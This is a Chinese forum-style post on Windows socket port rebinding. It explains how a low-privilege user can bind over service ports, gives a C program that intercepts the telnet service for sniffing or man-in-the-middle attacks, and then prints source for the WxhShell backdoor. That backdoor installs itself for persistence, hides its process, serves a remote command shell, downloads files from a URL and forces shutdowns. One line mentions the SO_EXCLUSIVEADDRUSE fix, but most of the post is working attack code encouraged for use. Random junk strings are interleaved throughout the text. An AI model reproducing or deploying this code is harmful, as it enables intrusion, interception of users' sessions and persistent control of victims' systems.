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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (@ "=F6P s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /I`3dWL Vu}806kB saddr.sin_family = AF_INET; 7Yuk
@7-=zt+f saddr.sin_addr.s_addr = htonl(INADDR_ANY); uJgI<l'|e3 LZ{YmD&6] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N/K=Ygv. zLP],wB 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z|
We9% !Cw!+fZ\l 这意味着什么?意味着可以进行如下的攻击: *vYn_wE <P1rqM9^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `\!X}xiWd [OzzL\)3l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9qpU@V! !#?8BwnaZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O}QFq14<+ Rp0|zP,5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 +P|2m"UA vv &BhIf3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1] j^d > @+# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a5a1'IVq !i^]UN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }qAVN L1wZU, o #include P.cO6+jGR #include H'EY)s Hi #include RX'-99M #include w:}C8WKw DWORD WINAPI ClientThread(LPVOID lpParam); 3qtr9NI int main() vf<UBa;Xm { M ?*Tf& WORD wVersionRequested; 34ha26\np DWORD ret; vIVr@1S WSADATA wsaData; 9x?B5Ap[ BOOL val; }p=g*Zo*C; SOCKADDR_IN saddr; MAnp{ SOCKADDR_IN scaddr; Q[uAIyv0 int err; 77*qkKr SOCKET s; cx{T
'1 SOCKET sc; D{cZxI int caddsize; # ORO&78 HANDLE mt; Rn-G
@}f DWORD tid; 1}}>Un`U5, wVersionRequested = MAKEWORD( 2, 2 ); dAL3. % err = WSAStartup( wVersionRequested, &wsaData ); ! RPb|1Y}+ if ( err != 0 ) { 9${Xer' printf("error!WSAStartup failed!\n"); \3aTaT?.. return -1; 7d;pvhnH } 'z5h3J saddr.sin_family = AF_INET; \vCGU>UY DI,K(_@G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XX2h(- h0Ee?= saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EY=FDl V saddr.sin_port = htons(23); 7)^:8I( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i)8N(HN { #f*g]p{ printf("error!socket failed!\n"); FW#P*}# return -1; cwe1^SJ6y } ZY cd.? :6 val = TRUE; C#;@y|Rw //SO_REUSEADDR选项就是可以实现端口重绑定的 R{?vQsLk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jJBnDxsA { L\e>B>u printf("error!setsockopt failed!\n"); R^%e1KO] return -1; +}aC-& } /syVGmS'M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D. Kqc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6;+jIkkD) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0/ !,Dn LnFWA0y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yfEb
{ W%o|0j\1GU ret=GetLastError(); cSK&[>i)4 printf("error!bind failed!\n"); 0y~<%`~ return -1; Bu3T/m } KKEN'-3 listen(s,2); >o~Z>lr while(1) =P`~t<ajB { \:v$ZEDJ> caddsize = sizeof(scaddr); 7NL%$Vf //接受连接请求 %}&(h/= e sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S&(^<gwl if(sc!=INVALID_SOCKET) ^$-Ye]< { r?A|d.Tl mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G[h(xp?,l if(mt==NULL) :!Ig- +W { l-Nly>~ printf("Thread Creat Failed!\n"); iev>9j break; Bs8[+Ft5 } g%a|q~) } |0.Xl+7 CloseHandle(mt); r-IT(DzkD } A}5fCx.{ closesocket(s); "e6|"w@8 WSACleanup(); iiG f'@/ return 0; 8K{[2O7i) } 1A<,TFg DWORD WINAPI ClientThread(LPVOID lpParam) q; jiw#_ { ~n?>[88" SOCKET ss = (SOCKET)lpParam; (GcT(~Gq)D SOCKET sc; zhblLBpeE\ unsigned char buf[4096]; SDYv(^ f , SOCKADDR_IN saddr; 'dJ/RJ~ long num; @Uo6>-WF DWORD val; kKiA DWORD ret; L]d-33.c!H //如果是隐藏端口应用的话,可以在此处加一些判断 k?6z_vu //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 feX^~gM saddr.sin_family = AF_INET;
Paj vb-f saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r~7:daG* saddr.sin_port = htons(23); =f1B,%7G+5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hs+kr?Pg` { T
vtm`Yk\ printf("error!socket failed!\n"); {9LWUCpsf return -1; Bs;|D } PdeBDFWD val = 100; Dyg?F
)6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 831JwSR { vjT( Q ret = GetLastError(); 3c3OG.H$8 return -1; wJ+Aw
} Ysi
g T if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -JT/9IQ { EME.h&A\G` ret = GetLastError(); Uf\nFB? ^ return -1; XfYC7-e9c } j&R+2%
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ArK]0$T { I?Aj.{{$G% printf("error!socket connect failed!\n"); )C%N]9FvY closesocket(sc); kA wNly closesocket(ss); i38[hQR9a return -1; [I;^^#'P } 5W? v'" while(1) ,*I@ { gI]GUD- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H%F>@(U //如果是嗅探内容的话,可以再此处进行内容分析和记录 :G5uocVk //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S9| a$3K' num = recv(ss,buf,4096,0); 6Jz^ if(num>0) 9uk<&nqx send(sc,buf,num,0); \]4v_! else if(num==0) *QGm//b break; *^%*o?M~ num = recv(sc,buf,4096,0); zj{r^D$ if(num>0) {eS|j= send(ss,buf,num,0); %?Y[Bk3p else if(num==0) PU<PhuMd
break; Z{6kWA3Kk } E#wS_[ closesocket(ss); gJ$K\[+ closesocket(sc); I@#;nyAj" return 0 ; Dnf*7)X } _~u2: yl( ZraT3 rjx6Djo> ========================================================== a>O9pX J%lgR 下边附上一个代码,,WXhSHELL )\uO9PB[O 81LNkE, ========================================================== nC1zzFFJ Y?J"wdWJNB #include "stdafx.h" /4\wn?f 7R4z}2F2 #include <stdio.h> a|7a_s4( #include <string.h> U?a6D:~G #include <windows.h> y
!$alE #include <winsock2.h> VZ&
A%UFC #include <winsvc.h> 7JJ/D4uT #include <urlmon.h> wIB`%V I
pzJ# #pragma comment (lib, "Ws2_32.lib") (6l+lru[ #pragma comment (lib, "urlmon.lib") Cqii} RwI[R)k #define MAX_USER 100 // 最大客户端连接数 gD`>Twa&6 #define BUF_SOCK 200 // sock buffer WYB{% yf #define KEY_BUFF 255 // 输入 buffer Isy'{-H
7{@l%jx][ #define REBOOT 0 // 重启 ($w@Z/; #define SHUTDOWN 1 // 关机 FGWN}&K 94skkEj #define DEF_PORT 5000 // 监听端口 CIU1R; \s"U{N- #define REG_LEN 16 // 注册表键长度 4(6b(]G'# #define SVC_LEN 80 // NT服务名长度 PO:"B6 W14F // 从dll定义API ,GWNLm\5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k3?rp`V1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;W>Cqg= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c~QS9)=E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =OIw*L8C"I qy)_wM // wxhshell配置信息 BrRL7xX struct WSCFG { ;9o;r)9~ int ws_port; // 监听端口 )^||\G char ws_passstr[REG_LEN]; // 口令 zDhB{3-Q1{ int ws_autoins; // 安装标记, 1=yes 0=no <f CKUc char ws_regname[REG_LEN]; // 注册表键名 eW5SFY. char ws_svcname[REG_LEN]; // 服务名 Q+4tIrd+ char ws_svcdisp[SVC_LEN]; // 服务显示名 h$eEn l} char ws_svcdesc[SVC_LEN]; // 服务描述信息 d8-A*W[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F
int ws_downexe; // 下载执行标记, 1=yes 0=no jZ`;Cy\<B char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" v>z tB,,9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 akw,P$i 3rLTF\ }; HbP!KVHyk1 s,#>m*Rh // default Wxhshell configuration <)+y=m\eJ struct WSCFG wscfg={DEF_PORT, +)zOer, "xuhuanlingzhe", `.s({/|[ 1, z[`@}}Q "Wxhshell", Zo1,1O "Wxhshell", ;XM{o:1Y[ "WxhShell Service", F}Vr:~ "Wrsky Windows CmdShell Service", 2'=T[<nNB "Please Input Your Password: ", ifN64`AhRX 1, uqz]J$ " http://www.wrsky.com/wxhshell.exe", }D+}DPL{^ "Wxhshell.exe" g&/T*L }; l
Va &" r.7$&BCng // 消息定义模块 rZ8`sIWQt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ODZ|bN0> char *msg_ws_prompt="\n\r? for help\n\r#>"; W9NX=gE4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; lHgs;>U$ char *msg_ws_ext="\n\rExit."; rE@T79" char *msg_ws_end="\n\rQuit."; =zQN[ char *msg_ws_boot="\n\rReboot..."; ;WR,eI.. char *msg_ws_poff="\n\rShutdown..."; Ft}@1w5 char *msg_ws_down="\n\rSave to "; {s. = )0V w]N!S;<N char *msg_ws_err="\n\rErr!"; %|s+jeUDn| char *msg_ws_ok="\n\rOK!"; tcxcup% >EY3/Go> char ExeFile[MAX_PATH]; boDt`2= int nUser = 0; %^RN#_ro(3 HANDLE handles[MAX_USER]; ]_N|L|]M int OsIsNt; ER,1(1]N vWAL^?HUP SERVICE_STATUS serviceStatus; d!eYqM7-G SERVICE_STATUS_HANDLE hServiceStatusHandle; "DYJ21Ut4 U&O:
_>~ // 函数声明 w@,zFV int Install(void); P.gb1$7< int Uninstall(void); '7O3/GDK int DownloadFile(char *sURL, SOCKET wsh); Gea\,{E9xA int Boot(int flag); 13taFVdU void HideProc(void); $Xq!L int GetOsVer(void); 1GzAG;UUo6 int Wxhshell(SOCKET wsl); Ub6jxib void TalkWithClient(void *cs); 0_ 88V int CmdShell(SOCKET sock); (o`{uj{! int StartFromService(void); yPq'( PV int StartWxhshell(LPSTR lpCmdLine); GSH>7!.# SL5Ai/X0N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !qG7V:6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); j]`PSl+w Jv^h\~*jH // 数据结构和表定义 O%bEB g SERVICE_TABLE_ENTRY DispatchTable[] = vN;mPd~g
{ EFz&N\2 {wscfg.ws_svcname, NTServiceMain}, 4EY)!?; {NULL, NULL} h$2</J" }; #\=F O> yqPdl1{Qr= // 自我安装 !r<pmr3f@7 int Install(void) &Xf}8^T<V { 4<BjC[@~Z{ char svExeFile[MAX_PATH]; E>K!Vrh-L HKEY key; V:joFRH9 strcpy(svExeFile,ExeFile); {;2PL^i 3W
N@J6? // 如果是win9x系统,修改注册表设为自启动 AIZ]jq if(!OsIsNt) { .[_L=_. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &q9T9AOS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v/ _ RegCloseKey(key); c
Vc- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r]6C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |:gf lseE RegCloseKey(key); nR*ryv return 0; m;,N)<~ } mHRiugb! } PpzP 7 } 'tH_p else { s%W C/ZK ,y#Kv|R // 如果是NT以上系统,安装为系统服务 ;=MU';o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K|epPGRr if (schSCManager!=0) {z{bY\ { A6thXs2 SC_HANDLE schService = CreateService A*\.NTM ( 5?x>9Ca schSCManager, (JOgy.5C~ wscfg.ws_svcname, r 8RoE`/T wscfg.ws_svcdisp, Tc? $>' SERVICE_ALL_ACCESS, F'21jy& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K|[*t~59 SERVICE_AUTO_START, 2GDD!w#!j SERVICE_ERROR_NORMAL, .:F%_dS D svExeFile, %xI p5h] NULL, /V'A%2Cl=T NULL, 9w7n1k. NULL, tVN NULL, "]}
bFO7C NULL Iy&!<r7:]0 ); ,
K~}\CR if (schService!=0) ZQV6xoN;r { J cd- CloseServiceHandle(schService); J| w>a CloseServiceHandle(schSCManager); VZKvaxIk6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gi1^3R[ strcat(svExeFile,wscfg.ws_svcname); .[ICx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1G^`-ri6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hquc
o RegCloseKey(key); [_EZhq return 0; m+]K;}.}R } Fj2BnM3# } ,?^ p(w CloseServiceHandle(schSCManager); ,s"^kFl } N2;B-U F
7 }
f6&iy$@ 0Qf,@^zL* return 1; P/W
XaE4 } [M=7M}f; QTk}h_<u // 自我卸载 !$gR{XH$] int Uninstall(void) GjvOM y { VA#"r!1 HKEY key; I&x=; 9y"@( if(!OsIsNt) { i9,geQ7d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p8Qk'F=h RegDeleteValue(key,wscfg.ws_regname); SE1=>S%p RegCloseKey(key); qm/22:&v5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V_ .5b&@ RegDeleteValue(key,wscfg.ws_regname); Q+{xZ'o"Z RegCloseKey(key); A P?R"% return 0; D2Kp|F; } tEvut=k' } *0Skd } vApIHI?- else { G[uK -U <L8'! q} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *k.G5>@ if (schSCManager!=0) )q8p k2 { 3YOq2pW72G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d:C 'H8 if (schService!=0) #A JDWelD { RbOUfD(J4 if(DeleteService(schService)!=0) { }C"%p8=HM CloseServiceHandle(schService); NJWA3zz
CloseServiceHandle(schSCManager); u}macKJmp\ return 0; Z>k#n'm^z } "o-zy'I CloseServiceHandle(schService); *av<E } E Nhl&J CloseServiceHandle(schSCManager); Q{>+ft U } <lPm1/8 } \wz6~5R l<58A7 return 1; he;dq)-e9 } +V ;l6D ) j#`r/ // 从指定url下载文件 FpmM63$VN[ int DownloadFile(char *sURL, SOCKET wsh) 2*;~S44 { nS }<-s HRESULT hr; Fo5FNNiID char seps[]= "/"; {HltvO%8 char *token; ]8_NZHld char *file; 5H<m$K4z char myURL[MAX_PATH]; KOk4^#h@ char myFILE[MAX_PATH]; ;u_X) l*Gvf_UH strcpy(myURL,sURL); @zW]2 c token=strtok(myURL,seps); K7_UP&`=J while(token!=NULL) BU/"rv"(Fg { ohGJ1 file=token; &
p token=strtok(NULL,seps); NRs13M<ftf } dd %6t V1N3iI GetCurrentDirectory(MAX_PATH,myFILE); }c,}V strcat(myFILE, "\\"); JzQ_{J`k strcat(myFILE, file); y4?0j: send(wsh,myFILE,strlen(myFILE),0); xX&+WR send(wsh,"...",3,0); fgp]x&5Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n,y ZRY if(hr==S_OK) \h/H#jZJ return 0; Cgk<pky1 else y@S$^jk. return 1; U`(ee*}o k_#ak%m/ } t%0VJB,Q2 tKOmoC // 系统电源模块 {L{o]Ii?g int Boot(int flag) :1QI8%L'$i { mp1@|*Sn HANDLE hToken; Uiw2oi&_ TOKEN_PRIVILEGES tkp; HAdg/3Hw ?=sDM& ' if(OsIsNt) { :%=Xm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Md/Q~> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yLvDMPj tkp.PrivilegeCount = 1; < `=j^LU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UERLtSQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &-)N' if(flag==REBOOT) { 0*3R=7_},o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /l~p=PK return 0; Cv.C;H } lfow1WRF else { *w`sM%]Rq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z"xvh81P return 0; 2*& ^v } S&wMrQ } 0
1rK8jX else { Q->sV$^=T if(flag==REBOOT) { i>`%TW:g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Naf0)3q>! return 0; v0{i0%d,? } W:2( .? else { $t[FH&c( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9s
q return 0; Tx# Mn~xD } N#_H6TfMG } L,/%f<wd .W%)*&WH\ return 1; b{&)6M)zo } Dcgo%F-W d7;um<%zn // win9x进程隐藏模块 Se}c[|8 void HideProc(void) 'rkdZ=x{ { &DX! f ~TD0zAA& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S9y} if ( hKernel != NULL ) b2Fe<~S{ { K($Npuu] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (y~TL*B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mO7]9p FreeLibrary(hKernel); +~$ ]}% } O,f?YJ9S <iC(`J$D return; i-_mTY&M } M5X&}cN6 %ntRG! // 获取操作系统版本 Xc-'Y"}|`t int GetOsVer(void) T.BW H2gRP { zTSTEOP}%Y OSVERSIONINFO winfo; XNkn|q2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UB@+ck GetVersionEx(&winfo); pz*3N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F^;ez/Gl return 1; V b ?oJhR else X.{S*E:$u return 0; \ ~$#1D1f } N~)_DjQP5 &j"?\f? // 客户端句柄模块 g}cq K int Wxhshell(SOCKET wsl) oD.Cs' { #q=Efn' SOCKET wsh; +a+Om73B2 struct sockaddr_in client; '-~~-}= sJ DWORD myID; 1>h]{%I u&7[n_ while(nUser<MAX_USER) zRr*7G { #)O65GI int nSize=sizeof(client); aX'*pK/- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _Y;W0Z if(wsh==INVALID_SOCKET) return 1; Kw ]= 3F2w-+L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wh*uaad7 if(handles[nUser]==0) ?CPahU closesocket(wsh); d\8l`Krs[_ else !pX>!&sb nUser++; x'<X!gw } U'bEL^Jf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Z/V~, n/:33DAB return 0; eD6fpe\( } @*((1(q Qp3_f8 // 关闭 socket OQJ6e:BGt void CloseIt(SOCKET wsh) q@8*Xa > { jQB9j closesocket(wsh); Tyx_/pJT nUser--; /82b S| ExitThread(0); s.C_Zf~3 } aqk!T%fg SE %pw9 // 客户端请求句柄 2P0*NQ void TalkWithClient(void *cs) s;Q!X ?Q { UP,c | 83#mB:^R SOCKET wsh=(SOCKET)cs; }o`76rDN char pwd[SVC_LEN]; H G^'I+Yn char cmd[KEY_BUFF]; vXje^>_6 char chr[1]; `b$.%S8uj= int i,j; ~Mxvq9vaD VMWf>ZU while (nUser < MAX_USER) { pW3^X=6 6j}9V
L77 if(wscfg.ws_passstr) { 4,DeHJjAlE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y$@?.)tY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lp9E:D-> //ZeroMemory(pwd,KEY_BUFF); oCz/HQoBk i=0; &F~T-i>X while(i<SVC_LEN) { vEJbA k9L;!TH~1K // 设置超时 H/M@t\$Dc fd_set FdRead; cbTm'}R(G struct timeval TimeOut; Pd Wx|y{% FD_ZERO(&FdRead); 5=ryDrx FD_SET(wsh,&FdRead); 6=Otq=WH TimeOut.tv_sec=8; _oeS Uzq. TimeOut.tv_usec=0; oUlVI*~ND int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A*BeR0( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cw&KVw* H qx-;F~0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xJ.M;SF4 pwd =chr[0]; nBYZ}L q if(chr[0]==0xd || chr[0]==0xa) { Y.p;1" pwd=0; Qo|\-y-# break; 6D3B^.rj] } 7@W>E;go i++; o }m3y } r9?Mw06Wc5 qJ-/7-$ ^ // 如果是非法用户,关闭 socket LrpM\}t if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2D5StCF$O } dk^~;m#iN `Urhy#LC send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fp"W[S|uL send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;!Fn1|) &$H!@@09|w while(1) { x]j W<A cFX p ZeroMemory(cmd,KEY_BUFF); 4^<?Wq~ ~a2}(] // 自动支持客户端 telnet标准 C;yZ j=0; "#g}ve, while(j<KEY_BUFF) { <:CkgR$/{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F8ulkcD cmd[j]=chr[0]; M"L=L5OH- if(chr[0]==0xa || chr[0]==0xd) { +lTq^4 cmd[j]=0; Dw"\/p:-3 break; Nz-&MS } 'Pbr
v j++; r.U`Kh]K } ?e?!3Bx;EM gRzxLf`K // 下载文件 t6t!t*jO if(strstr(cmd,"http://")) { N2o7%gJw send(wsh,msg_ws_down,strlen(msg_ws_down),0); C,eu9wOT if(DownloadFile(cmd,wsh)) %a7$QF] send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ZX{>:vo else qe\5m.k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vP,n(reM } -'Mf\h8 else { "J1
4C9u
1\.pMHv/ switch(cmd[0]) { \b>]8Un" W%w~ah|/] // 帮助 y1#1Ne_ case '?': { glw+l'@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8FhdN break; w!XD/jN } St^5Byd< // 安装 s#GLJl\E_P case 'i': { 7|H$ /] if(Install()) G+m }MOQP7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); xYB{;K else u1.BN>G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K)P%;X break; &M[?h}B6 } 3(UVg!t // 卸载 jb)ZLA;L_c case 'r': { y)<q/ if(Uninstall()) GN>@ZdVG}# send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5IG-~jzCLb else #LNED)Vg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K Y^Z break; *K;~!P } o !7va" // 显示 wxhshell 所在路径 8cQ'dL`( case 'p': { 6w7 7YTJ char svExeFile[MAX_PATH]; 5LMw?P.< strcpy(svExeFile,"\n\r"); @%SQFu@FJ strcat(svExeFile,ExeFile); T8NxJmYqB send(wsh,svExeFile,strlen(svExeFile),0); z?//rXuO break; : E?V. } g\AY|;T // 重启 BJ0?kX@ case 'b': { B7%U_F|m send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XX~,>Q}H= if(Boot(REBOOT)) LgYq.>Nl9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+;|Fz else { %XTI-B/K closesocket(wsh); MO]&bHH7; ExitThread(0); rM"l@3hP } h`wD break; i6N',&jFU } 2?i7UvV // 关机 H)&R=s case 'd': { <-0]i_4sK send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mA} "a<0 if(Boot(SHUTDOWN)) O
H7FkR send(wsh,msg_ws_err,strlen(msg_ws_err),0); A)~6Im else { y> (w\K9W closesocket(wsh); !o-@&q ExitThread(0); ?1".;foZ } L=h'Qgk% break; ET >](l9 } hzC>~Ub5 // 获取shell },[}$m% case 's': { t:c.LFrF CmdShell(wsh); B\n[.(].r closesocket(wsh); "ITIhnE ExitThread(0); "h ^Z break; A70d\i } F<w/PMb // 退出 y!%CffF2 case 'x': { 3N:D6w-R send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3ANQaUC CloseIt(wsh); :i7;w%B break; XZwK6F)L } }&3~|kP~O // 离开 yppo6HGD case 'q': { $wU\Js`/S] send(wsh,msg_ws_end,strlen(msg_ws_end),0); p<;0g9,1 closesocket(wsh); 0?M:6zf_iv WSACleanup(); 39jG8zr=Z[ exit(1); 3BLq CZ break; 2px|_)i } PxE3K-S)G } .x1NWGDn } b u"!jHPB &"q=5e2 // 提示信息 ]+$?u&0?w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o?
$.fhD
} =I~mKn } snikn& 'P}0FktP` return; ,v&(Y Od } ],v=]+R f
V( J| // shell模块句柄 cs'{5!i] int CmdShell(SOCKET sock) ri.I pRe { rXU\ STARTUPINFO si; T,tdL
N- ZeroMemory(&si,sizeof(si)); "wHFN>5B si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +2j AC r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V2G6Kw9gt PROCESS_INFORMATION ProcessInfo; !?gKqx'T$ char cmdline[]="cmd"; '`<w#z}AF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PiYxk+N return 0; N.{D$" } 8&aq/4:q0 OydwE // 自身启动模式 !0cD$^7 int StartFromService(void) m9Hit8f@Q { ,4oo=&
typedef struct ?K\axf>F { jalg5`PU0 DWORD ExitStatus; VU d\QR- DWORD PebBaseAddress; Wiu"k%Qsh DWORD AffinityMask; #N cK
X DWORD BasePriority; C73kJa ULONG UniqueProcessId; z]9MM
